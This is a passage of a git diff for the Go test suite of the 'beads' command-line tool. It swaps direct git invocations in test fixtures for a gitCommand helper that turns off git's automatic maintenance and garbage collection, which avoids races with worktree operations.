:= filepath.Join(tmpDir, "wt") runGit(mainRepo, "worktree", "add", worktree, "-b", "feat") t.Cleanup(func() { - c := exec.Command("git", "worktree", "remove", "--force", worktree) + c := gitCommand("worktree", "remove", "--force", worktree) c.Dir = mainRepo _ = c.Run() }) @@ -87,7 +87,7 @@ func TestGitAddFile_InWorktreeHook_StagesCorrectPath(t *testing.T) { // Simulate the environment inside a git pre-commit hook: GIT_DIR points // at the worktree's per-worktree gitdir. - out, err := exec.Command("git", "-C", worktree, "rev-parse", "--git-dir").Output() + out, err := gitCommand("-C", worktree, "rev-parse", "--git-dir").Output() if err != nil { t.Fatal(err) } @@ -111,7 +111,7 @@ func TestGitAddFile_InWorktreeHook_StagesCorrectPath(t *testing.T) { // Inspect the worktree's index: the staged path must be ".beads/issues.jsonl", // NOT bare "issues.jsonl" at repo root. - lsFiles := exec.Command("git", "ls-files", "--stage") + lsFiles := gitCommand("ls-files", "--stage") lsFiles.Dir = worktree data, err := lsFiles.CombinedOutput() if err != nil { @@ -692,7 +692,7 @@ func TestGitAddFile_NonHookContext_GuardDoesNotFire(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -718,7 +718,7 @@ func TestGitAddFile_NonHookContext_GuardDoesNotFire(t *testing.T) { t.Fatalf("gitAddFile: %v", err) } - c := exec.Command("git", "ls-files", "--stage") + c := gitCommand("ls-files", "--stage") c.Dir = repo data, err := c.CombinedOutput() if err != nil { @@ -756,7 +756,7 @@ func TestGitAddFile_RelativePathDoesNotDoubleRoot(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -788,7 +788,7 @@ func TestGitAddFile_RelativePathDoesNotDoubleRoot(t *testing.T) { t.Fatalf("gitAddFile(%q): %v", relPath, err) } - c := exec.Command("git", "diff", "--cached", "--name-only") + c := gitCommand("diff", "--cached", "--name-only") c.Dir = repo data, err := c.CombinedOutput() if err != nil { @@ -825,7 +825,7 @@ func TestGitAddFile_CapturesStderrOnFailure(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -890,7 +890,7 @@ func TestGitAddFile_CapturesLockedIndexFailure(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -926,7 +926,7 @@ func TestGitAddFile_CapturesLockedIndexFailure(t *testing.T) { t.Fatalf("expected index.lock error, got: %q", msg) } - c := exec.Command("git", "ls-files", "--stage") + c := gitCommand("ls-files", "--stage") c.Dir = repo data, err := c.CombinedOutput() if err != nil { @@ -948,7 +948,7 @@ func TestAutoExportGitAddFailureExitsNonZero(t *testing.T) { runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = dir if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -1026,7 +1026,7 @@ func TestGitAddFile_RedirectCase_DoesNotStageInMainRepo(t *testing.T) { } runGit := func(dir string, args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = dir if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v in %s failed: %v\n%s", args, dir, err, out) @@ -1056,12 +1056,12 @@ func TestGitAddFile_RedirectCase_DoesNotStageInMainRepo(t *testing.T) { worktree := filepath.Join(tmpDir, "wt") runGit(mainRepo, "worktree", "add", worktree, "-b", "feat") t.Cleanup(func() { - c := exec.Command("git", "worktree", "remove", "--force", worktree) + c := gitCommand("worktree", "remove", "--force", worktree) c.Dir = mainRepo _ = c.Run() }) - out, err := exec.Command("git", "-C", worktree, "rev-parse", "--git-dir").Output() + out, err := gitCommand("-C", worktree, "rev-parse", "--git-dir").Output() if err != nil { t.Fatal(err) } @@ -1084,7 +1084,7 @@ func TestGitAddFile_RedirectCase_DoesNotStageInMainRepo(t *testing.T) { // staging entry from the worktree's hook firing. checkNoStage := func(label, repoDir string) { t.Helper() - c := exec.Command("git", "ls-files", "--stage") + c := gitCommand("ls-files", "--stage") c.Dir = repoDir data, err := c.CombinedOutput() if err != nil { @@ -1134,7 +1134,7 @@ func TestPreCommitHasStagedBeadsFiles(t *testing.T) { } runGit := func(args ...string) { t.Helper() - c := exec.Command("git", args...) + c := gitCommand(args...) c.Dir = repo if out, err := c.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) diff --git a/cmd/bd/git_repo_template_test.go b/cmd/bd/git_repo_template_test.go index dbc9bd25b..5fdb0978b 100644 --- a/cmd/bd/git_repo_template_test.go +++ b/cmd/bd/git_repo_template_test.go @@ -3,7 +3,6 @@ package main import ( "fmt" "os" - "os/exec" "path/filepath" "strings" "sync" @@ -34,7 +33,7 @@ func initGitTemplate() { } gitTemplateDir = dir - cmd := exec.Command("git", "init", "--initial-branch=main") + cmd := gitCommand("init", "--initial-branch=main") cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git init failed: %w", err) @@ -45,7 +44,7 @@ func initGitTemplate() { {"config", "user.email", "test@test.com"}, {"config", "user.name", "Test User"}, } { - cmd = exec.Command("git", args...) + cmd = gitCommand(args...) cmd.Dir = dir if err := cmd.Run(); err != nil { gitTemplateErr = fmt.Errorf("git %v failed: %w", args, err) @@ -119,13 +118,13 @@ func TestNewGitRepo_UsesRepoLocalHooksPathDespiteGlobalConfig(t *testing.T) { t.Fatalf("failed to create fake global hooks dir: %v", err) } - setGlobal := exec.Command("git", "config", "--global", "core.hooksPath", globalHooks) + setGlobal := gitCommand("config", "--global", "core.hooksPath", globalHooks) if out, err := setGlobal.CombinedOutput(); err != nil { t.Fatalf("failed to set global core.hooksPath: %v (%s)", err, strings.TrimSpace(string(out))) } repoDir := newGitRepo(t) - getLocal := exec.Command("git", "config", "--get", "core.hooksPath") + getLocal := gitCommand("config", "--get", "core.hooksPath") getLocal.Dir = repoDir out, err := getLocal.CombinedOutput() if err != nil { diff --git a/cmd/bd/helpers_test.go b/cmd/bd/helpers_test.go index 32a4adb3b..c95edb961 100644 --- a/cmd/bd/helpers_test.go +++ b/cmd/bd/helpers_test.go @@ -1,6 +1,7 @@ package main import ( + "os/exec" "testing" "github.com/steveyegge/beads/internal/utils" @@ -62,3 +63,14 @@ func TestExtractPrefix(t *testing.T) { } } } + +// noAutoMaintenance keeps a fixture's git commit from spawning the detached +// "git maintenance run --auto" child whose worktree-prune races the fixture's +// next "git worktree add" (gastownhall/beads#7314, #7349). Flags ride the +// command line, never env config: the routing-key scrub drops env config. +var noAutoMaintenance = []string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"} + +// gitCommand builds a git command for a fixture with noAutoMaintenance applied. +func gitCommand(args ...string) *exec.Cmd { + return exec.Command("git", append(append([]string{}, noAutoMaintenance...), args...)...) +} diff --git a/cmd/bd/hooks_export_staged_deletion_test.go b/cmd/bd/hooks_export_staged_deletion_test.go index 13fceb658..9c5eabfcd 100644 --- a/cmd/bd/hooks_export_staged_deletion_test.go +++ b/cmd/bd/hooks_export_staged_deletion_test.go @@ -7,7 +7,6 @@ package main import ( "os" - "os/exec" "path/filepath" "testing" ) @@ -22,7 +21,7 @@ func setupExportStagedDeletionRepo(t *testing.T) (repoDir, filePath string) { run := func(args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -47,7 +46,7 @@ func TestIsExportFileStagedForDeletion_StagedDeletion(t *testing.T) { run := func(args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) @@ -77,7 +76,7 @@ func TestIsExportFileStagedForDeletion_StagedModificationNotDeletion(t *testing. run := func(args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v failed: %v\n%s", args, err, out) diff --git a/cmd/bd/hooks_export_worktree_test.go b/cmd/bd/hooks_export_worktree_test.go index 8f8bfeb4c..ca4b59390 100644 --- a/cmd/bd/hooks_export_worktree_test.go +++ b/cmd/bd/hooks_export_worktree_test.go @@ -27,7 +27,7 @@ func mkdirs(t *testing.T, dirs ...string) { // scrubbed because the test process may itself be running under a git hook. func runGitForWorktreeTest(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir cmd.Env = scrubGitHookEnv(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { @@ -396,7 +396,7 @@ func readFileForWorktreeTest(t *testing.T, path string) string { // can tell "the hook staged this" from "the fixture did". func stagedPathsForWorktreeTest(t *testing.T, dir string) []string { t.Helper() - cmd := exec.Command("git", "diff", "--cached", "--name-only") + cmd := gitCommand("diff", "--cached", "--name-only") cmd.Dir = dir cmd.Env = scrubGitHookEnv(os.Environ()) out, err := cmd.CombinedOutput() diff --git a/cmd/bd/hooks_guard_test.go b/cmd/bd/hooks_guard_test.go index b06bc76b2..fff660273 100644 --- a/cmd/bd/hooks_guard_test.go +++ b/cmd/bd/hooks_guard_test.go @@ -17,7 +17,7 @@ import ( func TestGuardHookWritePathIgnoresInheritedGitRouting(t *testing.T) { runGit := func(repo string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo cmd.Env = gitenv.ScrubRouting(os.Environ()) if out, err := cmd.CombinedOutput(); err != nil { @@ -64,7 +64,7 @@ func TestGuardHookWritePathIgnoresInheritedGitRouting(t *testing.T) { t.Setenv(key, value) } if tc.name == "both" { - probe := exec.Command("git", "-C", hooksDir, "ls-files", "--error-unmatch", "--", "pre-commit") + probe := gitCommand("-C", hooksDir, "ls-files", "--error-unmatch", "--", "pre-commit") out, err := probe.CombinedOutput() require.NoError(t, err, "inherited index must also prove tracking: %s", out) } @@ -109,7 +109,7 @@ func setupGuardTestRepo(t *testing.T) string { repoDir := t.TempDir() run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -197,7 +197,7 @@ func TestInstallHooksRefusesTrackedHook(t *testing.T) { {"commit", "-m", "add tracked hook"}, {"config", "core.hooksPath", "hooks"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -233,7 +233,7 @@ func TestInstallHooksAllowsTrackedBdOwnedHook(t *testing.T) { {"commit", "-m", "commit bd-managed hook"}, {"config", "core.hooksPath", "hooks"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -362,7 +362,7 @@ func TestInstallHooksRefusesTrackedExternalIntegrationHook(t *testing.T) { {"commit", "-m", "add tracked external integration hook"}, {"config", "core.hooksPath", "hooks"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if out, err := cmd.CombinedOutput(); err != nil { t.Skipf("git %v failed: %v\n%s", args, err, out) @@ -540,7 +540,7 @@ func TestGuardHookWritePathHonorsInheritedRepository(t *testing.T) { } runGit := func(args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repo if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %v: %v\n%s", args, err, out) @@ -592,7 +592,7 @@ func TestGuardHookWritePathHonorsInheritedRepository(t *testing.T) { } inherited := os.Environ() args := []string{"-C", hooksDir, "ls-files", "--error-unmatch", "--", "pre-commit"} - clean := exec.Command("git", args...) + clean := gitCommand(args...) clean.Env = gitenv.ScrubRouting(inherited) out, cleanErr := clean.CombinedOutput() if cleanErr == nil { @@ -605,7 +605,7 @@ func TestGuardHookWritePathHonorsInheritedRepository(t *testing.T) { if exit, ok := cleanErr.(*exec.ExitError); ok && exit.ExitCode() == 1 { t.Fatalf("fixture must fail the scrubbed probe for a configuration reason, got exit 1: %s", out) } - fallback := exec.Command("git", args...) + fallback := gitCommand(args...) fallback.Env = inherited if out, err := fallback.CombinedOutput(); err != nil { t.Fatalf("inherited tracking precondition: %v\n%s", err, out) diff --git a/cmd/bd/hooks_worktree_test.go b/cmd/bd/hooks_worktree_test.go index 61617e124..42cea43e7 100644 --- a/cmd/bd/hooks_worktree_test.go +++ b/cmd/bd/hooks_worktree_test.go @@ -29,7 +29,7 @@ func TestConfigureBeadsHooksPath_WorktreeUsesMainRepo(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -45,13 +45,13 @@ func TestConfigureBeadsHooksPath_WorktreeUsesMainRepo(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git worktree add failed: %v", err) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -71,7 +71,7 @@ func TestConfigureBeadsHooksPath_WorktreeUsesMainRepo(t *testing.T) { t.Fatalf("configureBeadsHooksPath failed: %v", err) } - cmd = exec.Command("git", "config", "--get", "core.hooksPath") + cmd = gitCommand("config", "--get", "core.hooksPath") cmd.Dir = mainRepoDir out, err := cmd.Output() if err != nil { @@ -99,7 +99,7 @@ func TestConfigureSharedHooksPath_WorktreeUsesMainRepo(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -115,13 +115,13 @@ func TestConfigureSharedHooksPath_WorktreeUsesMainRepo(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git worktree add failed: %v", err) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -141,7 +141,7 @@ func TestConfigureSharedHooksPath_WorktreeUsesMainRepo(t *testing.T) { t.Fatalf("configureSharedHooksPath failed: %v", err) } - cmd = exec.Command("git", "config", "--get", "core.hooksPath") + cmd = gitCommand("config", "--get", "core.hooksPath") cmd.Dir = mainRepoDir out, err := cmd.Output() if err != nil { @@ -169,7 +169,7 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -185,13 +185,13 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { run("commit", "-m", "Initial commit") worktreeDir := filepath.Join(tmpDir, "worktree") - cmd := exec.Command("git", "worktree", "add", worktreeDir, "HEAD") + cmd := gitCommand("worktree", "add", worktreeDir, "HEAD") cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git worktree add failed: %v", err) } t.Cleanup(func() { - cmd := exec.Command("git", "worktree", "remove", "--force", worktreeDir) + cmd := gitCommand("worktree", "remove", "--force", worktreeDir) cmd.Dir = mainRepoDir _ = cmd.Run() }) @@ -205,7 +205,7 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { if evaluated != "" { hooksPathToSet = evaluated } - cmd = exec.Command("git", "config", "core.hooksPath", hooksPathToSet) + cmd = gitCommand("config", "core.hooksPath", hooksPathToSet) cmd.Dir = mainRepoDir if err := cmd.Run(); err != nil { t.Fatalf("git config core.hooksPath failed: %v", err) @@ -213,12 +213,12 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { run("config", "beads.role", "primary") run("config", "extensions.worktreeConfig", "true") - cmd = exec.Command("git", "config", "--worktree", "beads.role", "worktree-only") + cmd = gitCommand("config", "--worktree", "beads.role", "worktree-only") cmd.Dir = worktreeDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("configure worktree role: %v\n%s", err, out) } - cmd = exec.Command("git", "config", "--worktree", "core.hooksPath", ".beads/hooks") + cmd = gitCommand("config", "--worktree", "core.hooksPath", ".beads/hooks") cmd.Dir = worktreeDir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("configure worktree hooksPath: %v\n%s", err, out) @@ -235,25 +235,25 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { t.Fatalf("resetHooksPathIfBeadsManaged failed: %v", err) } - cmd = exec.Command("git", "config", "--local", "--get", "core.hooksPath") + cmd = gitCommand("config", "--local", "--get", "core.hooksPath") cmd.Dir = mainRepoDir out, _ := cmd.Output() if strings.TrimSpace(string(out)) != "" { t.Errorf("core.hooksPath = %q after reset, want empty", strings.TrimSpace(string(out))) } - cmd = exec.Command("git", "config", "--local", "--get", "beads.role") + cmd = gitCommand("config", "--local", "--get", "beads.role") cmd.Dir = mainRepoDir out, err = cmd.Output() if exit, ok := err.(*exec.ExitError); !ok || exit.ExitCode() != 1 { t.Errorf("main role remains after reset: %q, %v", out, err) } - cmd = exec.Command("git", "config", "--worktree", "--get", "beads.role") + cmd = gitCommand("config", "--worktree", "--get", "beads.role") cmd.Dir = worktreeDir out, err = cmd.Output() if err != nil || strings.TrimSpace(string(out)) != "worktree-only" { t.Errorf("worktree-specific role changed: %q, %v", out, err) } - cmd = exec.Command("git", "config", "--worktree", "--get", "core.hooksPath") + cmd = gitCommand("config", "--worktree", "--get", "core.hooksPath") cmd.Dir = worktreeDir out, err = cmd.Output() if err != nil || strings.TrimSpace(string(out)) != ".beads/hooks" { @@ -279,7 +279,7 @@ func TestResetHooksPathIfBeadsManaged_Worktree(t *testing.T) { if after, err := os.ReadFile(privateConfig); err != nil || string(after) != string(before) { t.Fatalf("private worktree config changed: %v", err) } - get := exec.Command("git", "config", "--local", "--get", "beads.role") + get := gitCommand("config", "--local", "--get", "beads.role") get.Dir = mainRepoDir out, err := get.Output() if exit, ok := err.(*exec.ExitError); !ok || exit.ExitCode() != 1 { @@ -301,7 +301,7 @@ func TestConfigureBeadsHooksPath_NormalRepoUnchanged(t *testing.T) { } run := func(args ...string) { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = repoDir if err := cmd.Run(); err != nil { t.Skipf("git %v failed: %v", args, err) @@ -331,7 +331,7 @@ func TestConfigureBeadsHooksPath_NormalRepoUnchanged(t *testing.T) { t.Fatalf("configureBeadsHooksPath failed: %v", err) } - cmd := exec.Command("git", "config", "--get", "core.hooksPath") + cmd := gitCommand("config", "--get", "core.hooksPath") cmd.Dir = repoDir out, err := cmd.Output() if err != nil { @@ -569,7 +569,7 @@ func TestStandaloneHookCommandsUseSelectedContext(t *testing.T) { require.NoError(t, hooksUninstallCmd.RunE(hooksUninstallCmd, nil)) _, err := os.Stat(filepath.Join(destination, "pre-commit")) require.ErrorIs(t, err, os.ErrNotExist) - query := exec.Command("git", "--git-dir", common, "config", "--local", "--get", "beads.role") + query := gitCommand("--git-dir", common, "config", "--local", "--get", "beads.role") query.Dir, query.Env = cwd, gitenv.ScrubRouting(os.Environ()) var exit *exec.ExitError require.ErrorAs(t, query.Run(), &exit) @@ -580,7 +580,7 @@ func TestStandaloneHookCommandsUseSelectedContext(t *testing.T) { // configured keeps .git/hooks shadowed by an emptied directory, // i.e. every hook silently disabled while beads-managed config is // still installed — the GH#4440 contract this command enforces. - pathQuery := exec.Command("git", "--git-dir", common, "config", "--local", "--get", "core.hooksPath") + pathQuery := gitCommand("--git-dir", common, "config", "--local", "--get", "core.hooksPath") pathQuery.Dir, pathQuery.Env = cwd, gitenv.ScrubRouting(os.Environ()) var pathExit *exec.ExitError require.ErrorAs(t, pathQuery.Run(), &pathExit) diff --git a/cmd/bd/init_cancel_e2e_test.go b/cmd/bd/init_cancel_e2e_test.go index a7842bc65..6e8b80a2f 100644 --- a/cmd/bd/init_cancel_e2e_test.go +++ b/cmd/bd/init_cancel_e2e_test.go @@ -142,7 +142,7 @@ func TestInitCancel_E2E(t *testing.T) { func runGitCmd(t *testing.T, dir string, args ...string) { t.Helper() - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir output, err := cmd.CombinedOutput() if err != nil { diff --git a/cmd/bd/init_embedded_test.go b/cmd/bd/init_embedded_test.go index cfc9d0c8a..0c4963000 100644 --- a/cmd/bd/init_embedded_test.go +++ b/cmd/bd/init_embedded_test.go @@ -480,14 +480,14 @@ func TestEmbeddedInitA(t *testing.T) { if err := os.MkdirAll(bareRepo, 0755); err != nil { t.Fatalf("mkdir %s: %v", bareRepo, err) } - cmd := exec.Command("git", "init", "--bare") + cmd := gitCommand("init", "--bare") cmd.Dir = bareRepo if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git init --bare %s failed: %v\n%s", bareRepo, err, out) } } for name, url := range map[string]string{"origin": origin, "upstream": upstream} { - cmd := exec.Command("git", "remote", "add", name, url) + cmd := gitCommand("remote", "add", name, url) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git remote add %s failed: %v\n%s", name, err, out) @@ -522,7 +522,7 @@ func TestEmbeddedInitA(t *testing.T) { t.Errorf("planning embeddeddolt dir missing (planning store not pre-initialized): %v", err) } - roleCmd := exec.Command("git", "config", "--get", "beads.role") + roleCmd := gitCommand("config", "--get", "beads.role") roleCmd.Dir = dir roleOut, err := roleCmd.Output() if err != nil { @@ -565,7 +565,7 @@ func TestEmbeddedInitA(t *testing.T) { } bdDolt(t, bd, dir, "push") - ls := exec.Command("git", "ls-remote", remoteURL, "refs/dolt/data") + ls := gitCommand("ls-remote", remoteURL, "refs/dolt/data") lsOut, err := ls.CombinedOutput() if err != nil { t.Fatalf("git ls-remote refs/dolt/data failed: %v\n%s", err, lsOut) @@ -607,7 +607,7 @@ func TestEmbeddedInitA(t *testing.T) { if readErr == nil && strings.Contains(string(configYAML), remoteURL) { t.Errorf("refused push still persisted sync.remote; config.yaml:\n%s", configYAML) } - if lsOut, lsErr := exec.Command("git", "ls-remote", remoteURL, "refs/dolt/data").Output(); lsErr == nil && len(strings.TrimSpace(string(lsOut))) != 0 { + if lsOut, lsErr := gitCommand("ls-remote", remoteURL, "refs/dolt/data").Output(); lsErr == nil && len(strings.TrimSpace(string(lsOut))) != 0 { t.Errorf("refused push still uploaded issue history: %s", lsOut) } } @@ -646,7 +646,7 @@ func TestEmbeddedInitA(t *testing.T) { t.Fatalf("bd dolt push should persist sync.remote; config.yaml:\n%s", configYAML) } - ls := exec.Command("git", "ls-remote", remoteURL, "refs/dolt/data") + ls := gitCommand("ls-remote", remoteURL, "refs/dolt/data") lsOut, err := ls.CombinedOutput() if err != nil { t.Fatalf("git ls-remote refs/dolt/data failed: %v\n%s", err, lsOut) @@ -940,7 +940,7 @@ func TestEmbeddedInitB(t *testing.T) { {"add", "-A"}, {"commit", "-m", "baseline"}, } { - cmd := exec.Command("git", args...) + cmd := gitCommand(args...) cmd.Dir = dir if out, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git %s failed: %v\n%s", args[0], err, out) @@ -970,7 +970,7 @@ func TestEmbeddedInitB(t *testing.T) { } // git status --porcelain must be empty: stealth touched no visible files. - cmd := exec.Command("git", "-c", "core.hooksPath=", "status", "--porcelain") + cmd := gitCommand("-c", "core.hooksPath=", "status", "--porcelain") cmd.Dir = dir out, err := cmd.CombinedOutput() if err != nil { @@ -1017,7 +1017,7 @@ func TestEmbeddedInitB(t *testing.T) { t.Logf("bd doctor --fix exited non-zero (tolerated): %v\n%s", err, out) } - statusCmd := exec.Command("git", "-c", "core.hooksPath=", "status", "--porcelain") + statusCmd := gitCommand("-c", "core.hooksPath=", "status", "--porcelain") statusCmd.Dir = dir out, err := statusCmd.CombinedOutput() if err != nil { @@ -1094,7 +1094,7 @@ func TestEmbeddedInitB(t *testing.T) { if err := os.WriteFile(hookPath, []byte(hook), 0755); err != nil { t.Fatal(err) } - unsetHooksPath := exec.Command("git", "config", "--unset", "core.hooksPath") + unsetHooksPath := gitCommand("config", "--unset", "core.hooksPath") unsetHooksPath.Dir = dir if out, err := unsetHooksPath.CombinedOutput(); err != nil { t.Fatalf("git config --unset core.hooksPath failed: %v\n%s", err, out) @@ -1124,7 +1124,7 @@ func TestEmbeddedInitB(t *testing.T) { if _, err := os.Stat(filepath.Join(dir, ".hook-ran")); err == nil { t.Fatal("expected init auto-commit to bypass git hooks") } - logCmd := exec.Command("git", "log", "--oneline", "-n", "1") + logCmd := gitCommand("log", "--oneline", "-n", "1") logCmd.Dir = dir stdout, stderr, err := runCommandBuffers(t, logCmd) if err != nil { @@ -1717,7 +1717,7 @@ func TestEmbeddedInitArtifactRouting(t *testing.T) { if err != nil { t.Fatal(err) } - show := exec.Command("git", "show", "HEAD:.beads/metadata.json") + show := gitCommand("show", "HEAD:.beads/metadata.json") show.Dir, show.Env = target, gitenv.ScrubRouting(os.Environ()) if got, err := show.CombinedOutput(); err != nil || !bytes.Equal(got, want) { t.Errorf("embedded init did not commit target metadata: %v: %s", err, got) diff --git a/cmd/bd/init_git_bootstrap_routing_test.go b/cmd/bd/init_git_bootstrap_routing_test.go index 3984c035a..4d3d421ab 100644 --- a/cmd/bd/init_git_bootstrap_routing_test.go +++ b/cmd/bd/init_git_bootstrap_routing_test.go @@ -2,7 +2,6 @@ package main import ( "os" - "os/exec" "path/filepath" "strings" "testing" @@ -26,7 +25,7 @@ import ( // silently. func TestInitGitBootstrapProbeWidensPastLegitimateCeiling(t *testing.T) { ancestor := t.TempDir() - initRepo := exec.Command("git", "init", "--quiet") + initRepo := gitCommand("init", "--quiet") initRepo.Dir = ancestor initRepo.Env = gitenv.ScrubRouting(os.Environ()) if out, err := initRepo.CombinedOutput(); err != nil { @@ -50,7 +49,7 @@ func TestInitGitBootstrapProbeWidensPastLegitimateCeiling(t *testing.T) { // Control: identical environment except the ceiling is left in place, which is what the // probe did before this change. It must fail — otherwise the ceiling never bit and the // assertion below would pass for the wrong reason. - fenced := exec.Command("git", "-C", project, "rev-parse", "--git-dir") + fenced := gitCommand("-C", project, "rev-parse", "--git-dir") fenced.Env = append(gitenv.ScrubRouting(os.Environ()), "GIT_CEILING_DIRECTORIES="+ceiling) if out, ferr := fenced.Output(); ferr == nil { t.Fatalf("ceiling %q did not fence off %q (git found %q); this case cannot prove the widening", diff --git a/cmd/bd/init_hooks_test.go b/cmd/bd/init_hooks_test.go index 759f7535f..225594d54 100644 --- a/cmd/bd/init_hooks_test.go +++ b/cmd/bd/init_hooks_test.go @@ -3,7 +3,6 @@ package main import ( "fmt" "os" - "os/exec" "path/filepath" "strings" "testing" @@ -795,7 +794,7 @@ func TestConfigureBeadsHooksPath_AbsolutePath(t *testing.T) { } // Read back core.hooksPath - out, err := exec.Command("git", "config", "--get", "core.hooksPath").Output() + out, err := gitCommand("config", "--get", "core.hooksPath").Output() if err != nil { t.Fatalf("git config --get core.hooksPath failed: %v", err) } @@ -827,7 +826,7 @@ func TestInstallHooksBeads_WorktreeAccess(t *testing.T) { t.Fatalf("Failed to create metadata.json: %v", err) } - cmd := exec.Command("git", "commit", "--allow-empty", "--no-verify", "-m", "init") + cmd := gitCommand("commit", "--allow-empty", "--no-verify", "-m", "init") cmd.Dir = tmpDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git commit failed: %v\n%s", err, string(output)) @@ -847,7 +846,7 @@ func TestInstallHooksBeads_WorktreeAccess(t *testing.T) { } // Read core.hooksPath and verify it's absolute - out, err := exec.Command("git", "config", "--get", "core.hooksPath").Output() + out, err := gitCommand("config", "--get", "core.hooksPath").Output() if err != nil { t.Fatalf("core.hooksPath not set after --beads install: %v", err) } @@ -858,17 +857,17 @@ func TestInstallHooksBeads_WorktreeAccess(t *testing.T) { // Create a worktree and verify hooks are accessible from it worktreeDir := filepath.Join(t.TempDir(), "worktree") - cmd = exec.Command("git", "worktree", "add", worktreeDir, "-b", "test-worktree") + cmd = gitCommand("worktree", "add", worktreeDir, "-b", "test-worktree") cmd.Dir = tmpDir if output, err := cmd.CombinedOutput(); err != nil { t.Fatalf("git worktree add failed: %v\n%s", err, string(output)) } defer func() { - exec.Command("git", "worktree", "remove", worktreeDir).Run() + gitCommand("worktree", "remove", worktreeDir).Run() }() // From the worktree, core.hooksPath should resolve to the same hooks - cmd = exec.Command("git", "config", "--get", "core.hooksPath") + 